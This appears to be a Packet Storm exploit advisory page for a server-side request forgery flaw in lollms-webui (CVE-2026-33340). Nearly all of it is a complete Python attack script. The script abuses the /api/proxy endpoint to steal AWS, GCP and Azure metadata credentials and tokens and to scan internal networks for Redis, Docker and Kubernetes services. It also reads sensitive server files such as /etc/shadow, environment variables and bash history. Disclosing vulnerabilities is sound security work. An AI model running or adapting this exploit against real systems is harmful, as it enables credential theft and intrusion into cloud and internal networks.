PACKETSTORM 9.1 CRITICAL

📄 lollms-webui Server-Side Request Forgery_PACKETSTORM:219789

9.1 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

lollms-webui suffers from a server-side request forgery vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:219789
Published Apr 24, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : lollms-webui SSRF for Cloud Metadata Leakage and Internal Network Pivoting |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://lollms.com/ |
==================================================================================================================================

[+] Summary : This code is an advanced SSRF designed to simulate the security impact of a vulnerable web application endpoint.
Vulnerability testing of a target SSRF endpoint (/api/proxy)

[+] POC :

#!/usr/bin/env python3

import requests
import json
import argparse
import sys
import time
import socket
import ipaddress
import base64
from urllib.parse import urlparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Optional, Tuple
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
CLOUD_METADATA = {
"aws_imdsv1": {
"url": "http://169.254.169.254/latest/meta-data/",
"description": "AWS Instance Metadata Service v1",
"critical_paths": [
"iam/security-credentials/",
"local-ipv4",
"public-ipv4",
"instance-id",
"instance-type",
"ami-id",
"hostname",
"placement/availability-zone",
"security-groups",
"mac",
"network/interfaces/macs/"
]
},
"aws_imdsv2": {
"url": "http://169.254.169.254/latest/api/token",
"description": "AWS IMDSv2 (requires token)",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
},
"gcp": {
"url": "http://metadata.google.internal/computeMetadata/v1/",
"headers": {"Metadata-Flavor": "Google"},
"critical_paths": [
"instance/service-accounts/default/token",
"instance/service-accounts/default/email",
"instance/id",
"instance/name",
"instance/zone",
"project/project-id",
"instance/attributes/ssh-keys"
]
},
"azure": {
"url": "http://169.254.169.254/metadata/instance",
"params": {"api-version": "2021-02-01", "format": "json"},
"headers": {"Metadata": "true"},
"critical_paths": [
"compute/name",
"compute/vmId",
"compute/subscriptionId",
"compute/resourceGroupName",
"compute/location",
"network/interface/0/ipv4/ipAddress"
]
},
"digitalocean": {
"url": "http://169.254.169.254/metadata/v1.json",
"critical_paths": [
"droplet_id",
"hostname",
"region",
"public_ipv4",
"private_ipv4"
]
},
"vultr": {
"url": "http://169.254.169.254/v1.json",
"critical_paths": [
"instanceid",
"region",
"interfaces/0/ipv4/address"
]
},
"openstack": {
"url": "http://169.254.169.254/openstack/latest/meta_data.json",
"critical_paths": [
"uuid",
"name",
"availability_zone",
"project_id"
]
}
}
INTERNAL_SERVICES = {
"redis": {"port": 6379, "probe": "PING\r\n", "response": "+PONG"},
"elasticsearch": {"port": 9200, "probe": "/", "response": "cluster_name"},
"mysql": {"port": 3306, "probe": None, "tcp": True},
"postgresql": {"port": 5432, "probe": None, "tcp": True},
"mongodb": {"port": 27017, "probe": None, "tcp": True},
"docker_api": {"port": 2375, "probe": "/version", "response": "ApiVersion"},
"docker_api_tls": {"port": 2376, "probe": "/version", "response": "ApiVersion"},
"kubernetes_api": {"port": 6443, "probe": "/api/v1/namespaces/default/pods", "response": "kind"},
"jenkins": {"port": 8080, "probe": "/api/json", "response": "jobs"},
"grafana": {"port": 3000, "probe": "/api/health", "response": "ok"},
"prometheus": {"port": 9090, "probe": "/api/v1/status/config", "response": "yaml"},
"kibana": {"port": 5601, "probe": "/api/status", "response": "version"},
"spark_master": {"port": 8080, "probe": "/json", "response": "workers"},
"hadoop_namenode": {"port": 9870, "probe": "/jmx?qry=Hadoop:*", "response": "NameNode"},
"consul": {"port": 8500, "probe": "/v1/agent/self", "response": "Config"},
"etcd": {"port": 2379, "probe": "/version", "response": "etcdversion"},
"cassandra": {"port": 9042, "probe": None, "tcp": True},
"rabbitmq": {"port": 15672, "probe": "/api/overview", "response": "rabbitmq"},
"nginx_status": {"port": 80, "probe": "/nginx_status", "response": "Active connections"},
"php_fpm_status": {"port": 9000, "probe": "/status", "response": "pool"},
}
LOCAL_NETWORKS = [
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
]

class LollmsSSRFExploit:
"""Main exploit class for CVE-2026-33340"""

def __init__(self, target_url: str, timeout: int = 10, verbose: bool = False):
"""
Initialize exploit

Args:
target_url: Target lollms-webui URL (e.g., http://target:9600)
timeout: Request timeout in seconds
verbose: Enable verbose output
"""
self.target_url = target_url.rstrip('/')
self.proxy_endpoint = f"{self.target_url}/api/proxy"
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/json'
})
self.discovered_data = {}

def _make_request(self, url: str) -> Optional[Dict]:
"""
Make SSRF request to internal target

Args:
url: Target URL to fetch

Returns:
Response dict or None on failure
"""
payload = {"url": url}

try:
if self.verbose:
logger.debug(f"[*] SSRF Request: {url}")

response = self.session.post(
self.proxy_endpoint,
json=payload,
timeout=self.timeout
)

if response.status_code == 200:
result = response.json()
return result
else:
if self.verbose:
logger.debug(f"[-] HTTP {response.status_code}: {response.text[:100]}")
return None

except requests.exceptions.Timeout:
logger.debug(f"[!] Timeout: {url}")
return None
except requests.exceptions.ConnectionError as e:
logger.debug(f"[!] Connection error: {e}")
return None
except json.JSONDecodeError:
logger.debug(f"[!] Invalid JSON response")
return None
except Exception as e:
logger.debug(f"[!] Error: {e}")
return None

def test_vulnerability(self) -> bool:
"""
Test if the target is vulnerable to SSRF

Returns:
True if vulnerable, False otherwise
"""
logger.info("[*] Testing vulnerability...")
test_url = "http://localhost:9600/api/info"
result = self._make_request(test_url)

if result and "content" in result:
logger.info("[+] Target appears VULNERABLE!")
return True
else:
logger.warning("[-] Target may not be vulnerable")
return False

def steal_aws_metadata(self) -> Dict:
"""Steal AWS EC2 metadata"""
logger.info("[*] Attempting to steal AWS metadata...")
data = {}
for path in CLOUD_METADATA["aws_imdsv1"]["critical_paths"]:
url = urljoin(CLOUD_METADATA["aws_imdsv1"]["url"], path)
result = self._make_request(url)

if result and result.get("content"):
data[path] = result["content"].strip()
logger.info(f"[+] AWS {path}: {result['content'][:100]}")
if "security-credentials" in path and result["content"].strip():
role = result["content"].strip()
creds_url = f"{CLOUD_METADATA['aws_imdsv1']['url']}iam/security-credentials/{role}"
creds_result = self._make_request(creds_url)
if creds_result:
try:
creds = json.loads(creds_result["content"])
data["credentials"] = creds
logger.warning(f"[!!!] AWS IAM CREDENTIALS STOLEN: {creds.get('AccessKeyId')}")
except:
data["credentials_raw"] = creds_result["content"]

return data

def steal_gcp_metadata(self) -> Dict:
"""Steal GCP metadata"""
logger.info("[*] Attempting to steal GCP metadata...")
data = {}

base_url = CLOUD_METADATA["gcp"]["url"]
headers = CLOUD_METADATA["gcp"]["headers"]
self.session.headers.update(headers)

for path in CLOUD_METADATA["gcp"]["critical_paths"]:
url = urljoin(base_url, path)
result = self._make_request(url)

if result and result.get("content"):
data[path] = result["content"].strip()
logger.info(f"[+] GCP {path}: {result['content'][:100]}")
if "token" in path:
try:
token_data = json.loads(result["content"])
data["access_token"] = token_data.get("access_token")
logger.warning(f"[!!!] GCP ACCESS TOKEN STOLEN: {data['access_token'][:50]}...")
except:
pass
self.session.headers.pop("Metadata-Flavor", None)

return data

def steal_azure_metadata(self) -> Dict:
"""Steal Azure instance metadata"""
logger.info("[*] Attempting to steal Azure metadata...")
data = {}

url = CLOUD_METADATA["azure"]["url"]
params = CLOUD_METADATA["azure"]["params"]
headers = CLOUD_METADATA["azure"]["headers"]

self.session.headers.update(headers)

result = self._make_request(f"{url}?{requests.compat.urlencode(params)}")

if result and result.get("content"):
try:
metadata = json.loads(result["content"])
data["metadata"] = metadata
compute = metadata.get("compute", {})
for key in ["name", "vmId", "subscriptionId", "resourceGroupName", "location"]:
if key in compute:
logger.info(f"[+] Azure {key}: {compute[key]}")
data[key] = compute[key]

network = metadata.get("network", {})
interface = network.get("interface", [{}])[0]
ipv4 = interface.get("ipv4", {})
ip_addresses = ipv4.get("ipAddress", [])
for ip in ip_addresses:
if ip.get("privateIpAddress"):
logger.info(f"[+] Azure private IP: {ip['privateIpAddress']}")
data["private_ip"] = ip["privateIpAddress"]

except json.JSONDecodeError:
data["raw"] = result["content"]

self.session.headers.pop("Metadata", None)

return data

def steal_all_cloud_metadata(self) -> Dict:
"""Attempt to steal metadata from all cloud providers"""
all_data = {}
aws_data = self.steal_aws_metadata()
if aws_data:
all_data["aws"] = aws_data
gcp_data = self.steal_gcp_metadata()
if gcp_data:
all_data["gcp"] = gcp_data
azure_data = self.steal_azure_metadata()
if azure_data:
all_data["azure"] = azure_data
for provider, config in CLOUD_METADATA.items():
if provider not in ["aws_imdsv1", "aws_imdsv2", "gcp", "azure"]:
url = config["url"]
result = self._make_request(url)
if result and result.get("content"):
all_data[provider] = result["content"]
logger.info(f"[+] {provider.upper()} metadata found!")

return all_data
def probe_port(self, ip: str, port: int, service_name: str) -> bool:
"""
Probe a specific port for service

Args:
ip: Target IP address
port: Target port
service_name: Name of service to check

Returns:
True if service detected
"""
service = INTERNAL_SERVICES.get(service_name, {})

if service.get("tcp"):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((ip, port))
sock.close()
return result == 0
except:
return False

else:
probe_path = service.get("probe", "/")
url = f"http://{ip}:{port}{probe_path}"
response = self._make_request(url)

if response and response.get("content"):
expected = service.get("response", "")
if expected.lower() in response["content"].lower():
return True

return False

def scan_network(self, network_cidr: str, ports: List[int] = None) -> List[Dict]:
"""
Scan internal network for services

Args:
network_cidr: Network to scan (e.g., "192.168.1.0/24")
ports: List of ports to scan (default: all service ports)

Returns:
List of discovered services
"""
if ports is None:
ports = list(set([s["port"] for s in INTERNAL_SERVICES.values()]))

discovered = []
network = ipaddress.ip_network(network_cidr, strict=False)

logger.info(f"[*] Scanning network: {network_cidr}")

for ip in network.hosts():
ip_str = str(ip)

for port in ports:
for service_name, service in INTERNAL_SERVICES.items():
if service["port"] == port:
if self.probe_port(ip_str, port, service_name):
discovered.append({
"ip": ip_str,
"port": port,
"service": service_name
})
logger.info(f"[+] Found {service_name} at {ip_str}:{port}")

return discovered

def scan_local_networks(self) -> List[Dict]:
"""Scan all local network ranges"""
all_discovered = []

for network in LOCAL_NETWORKS:
try:
discovered = self.scan_network(network)
all_discovered.extend(discovered)
except Exception as e:
logger.debug(f"[-] Failed to scan {network}: {e}")

return all_discovered

def read_local_file(self, filepath: str) -> Optional[str]:
"""
Read local file via SSRF (using file:// protocol)

Args:
filepath: Path to file on server

Returns:
File contents or None
"""
urls = [
f"file://{filepath}",
f"http://localhost:9600/{filepath}",
f"http://127.0.0.1/{filepath}",
]

for url in urls:
result = self._make_request(url)
if result and result.get("content"):
logger.info(f"[+] Read file: {filepath}")
return result["content"]

return None

def interact_with_redis(self, redis_host: str = "localhost", redis_port: int = 6379, command: str = "INFO") -> Optional[str]:
"""
Interact with Redis via SSRF

Args:
redis_host: Redis host
redis_port: Redis port
command: Redis command to execute

Returns:
Redis response or None
"""
parts = command.split()
resp = f"*{len(parts)}\r\n"
for part in parts:
resp += f"${len(part)}\r\n{part}\r\n"
url = f"http://{redis_host}:{redis_port}/"
result = self._make_request(url)
if not result:
logger.warning("[-] Redis direct access may require additional headers")

return result.get("content") if result else None

def access_docker_api(self, docker_host: str = "localhost", docker_port: int = 2375) -> Dict:
"""
Access Docker API via SSRF

Args:
docker_host: Docker host
docker_port: Docker port

Returns:
Docker API response
"""
endpoints = [
"/version",
"/containers/json?all=true",
"/images/json",
"/info",
"/_ping"
]

results = {}

for endpoint in endpoints:
url = f"http://{docker_host}:{docker_port}{endpoint}"
result = self._make_request(url)

if result and result.get("content"):
results[endpoint] = result["content"]
logger.info(f"[+] Docker API {endpoint}: {result['content'][:100]}")
if endpoint == "/containers/json" and result["content"]:
try:
containers = json.loads(result["content"])
for container in containers:
logger.warning(f"[!!!] Container found: {container.get('Names', ['unknown'])[0]}")
except:
pass

return results
def full_exploit(self, scan_network: bool = True, steal_cloud: bool = True) -> Dict:
"""
Execute full exploit chain

Args:
scan_network: Enable internal network scanning
steal_cloud: Enable cloud metadata theft

Returns:
Dictionary with all discovered data
"""
results = {
"timestamp": time.time(),
"target": self.target_url,
"vulnerable": False,
"cloud_metadata": {},
"internal_services": [],
"local_files": {},
"docker_api": {}
}
results["vulnerable"] = self.test_vulnerability()

if not results["vulnerable"]:
logger.error("[-] Target not vulnerable!")
return results

if steal_cloud:
logger.info("\n[*] PHASE 1: Cloud Metadata Theft")
results["cloud_metadata"] = self.steal_all_cloud_metadata()

if scan_network:
logger.info("\n[*] PHASE 2: Internal Network Scanning")
results["internal_services"] = self.scan_local_networks()
for service in results["internal_services"]:
if service["service"] == "docker_api":
logger.info(f"[*] Exploiting Docker API at {service['ip']}:{service['port']}")
results["docker_api"] = self.access_docker_api(service["ip"], service["port"])

elif service["service"] == "redis":
logger.info(f"[*] Attempting Redis interaction")
redis_data = self.interact_with_redis(service["ip"], service["port"])
if redis_data:
results[f"redis_{service['ip']}"] = redis_data

logger.info("\n[*] PHASE 3: Local File Reading")
sensitive_files = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/proc/self/environ",
"/proc/self/cmdline",
"/var/log/auth.log",
"/root/.bash_history",
"/home/*/.bash_history",
".env",
"config.json",
"config.yaml",
"settings.py",
"secrets.py"
]

for filepath in sensitive_files:
content = self.read_local_file(filepath)
if content:
results["local_files"][filepath] = content[:5000]

return results

def main():
parser = argparse.ArgumentParser(
description='CVE-2026-33340 - lollms-webui SSRF to Cloud Metadata & Internal Network Pivot',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exploit.py -t http://target:9600 --test
python exploit.py -t http://target:9600 --cloud
python exploit.py -t http://target:9600 --scan
python exploit.py -t http://target:9600 --full
python exploit.py -t http://target:9600 --read-file /etc/passwd
python exploit.py -t http://target:9600 --docker
python exploit.py -t http://target:9600 --full --output results.json
"""
)

parser.add_argument('-t', '--target', required=True, help='Target lollms-webui URL (e.g., http://target:9600)')
parser.add_argument('--test', action='store_true', help='Test if endpoint is vulnerable')
parser.add_argument('--cloud', action='store_true', help='Steal cloud metadata (AWS/GCP/Azure)')
parser.add_argument('--scan', action='store_true', help='Scan internal network for services')
parser.add_argument('--full', action='store_true', help='Execute full exploit chain')
parser.add_argument('--read-file', metavar='FILE', help='Read local file from server')
parser.add_argument('--docker', action='store_true', help='Attempt Docker API access')
parser.add_argument('--output', '-o', help='Output file for results (JSON)')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')

args = parser.parse_args()

print("""
========================================
CVE-2026-33340 - lollms-webui SSRF
Cloud Metadata Theft & Internal Pivot
========================================
""")

exploit = LollmsSSRFExploit(args.target, args.timeout, args.verbose)

results = {}

if args.test:
is_vuln = exploit.test_vulnerability()
results["vulnerable"] = is_vuln
if is_vuln:
print("\n[!!!] TARGET IS VULNERABLE!")

if args.read_file:
content = exploit.read_local_file(args.read_file)
if content:
print(f"\n[+] File content:\n{content}")
results["file_content"] = content

if args.cloud:
metadata = exploit.steal_all_cloud_metadata()
results["cloud_metadata"] = metadata

if metadata:
print("\n[!!!] CLOUD METADATA STOLEN!")
for provider, data in metadata.items():
print(f"\n[{provider.upper()}]")
print(json.dumps(data, indent=2))

if args.scan:
services = exploit.scan_local_networks()
results["internal_services"] = services

if services:
print("\n[+] INTERNAL SERVICES DISCOVERED:")
for service in services:
print(f" {service['service']} at {service['ip']}:{service['port']}")

if args.docker:
docker_data = exploit.access_docker_api()
results["docker_api"] = docker_data

if docker_data:
print("\n[!!!] DOCKER API ACCESSED!")
for endpoint, data in docker_data.items():
print(f"\n[{endpoint}]: {data[:200]}")

if args.full:
print("\n[*] Executing full exploit chain...")
results = exploit.full_exploit(scan_network=True, steal_cloud=True)

print("\n" + "="*60)
print("EXPLOIT RESULTS")
print("="*60)

if results.get("cloud_metadata"):
print(f"\n[+] Cloud Metadata: {len(results['cloud_metadata'])} providers")

if results.get("internal_services"):
print(f"[+] Internal Services: {len(results['internal_services'])} found")
for svc in results["internal_services"]:
print(f" - {svc['service']} at {svc['ip']}:{svc['port']}")

if results.get("local_files"):
print(f"[+] Local Files: {len(results['local_files'])} read")
for f in results["local_files"].keys():
print(f" - {f}")

if results.get("docker_api"):
print(f"[+] Docker API: {len(results['docker_api'])} endpoints")

if args.output:
with open(args.output, 'w') as f:
json.dump(results, f, indent=2, default=str)
print(f"\n[+] Results saved to {args.output}")

if results:
print("\n[+] Exploit completed!")

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.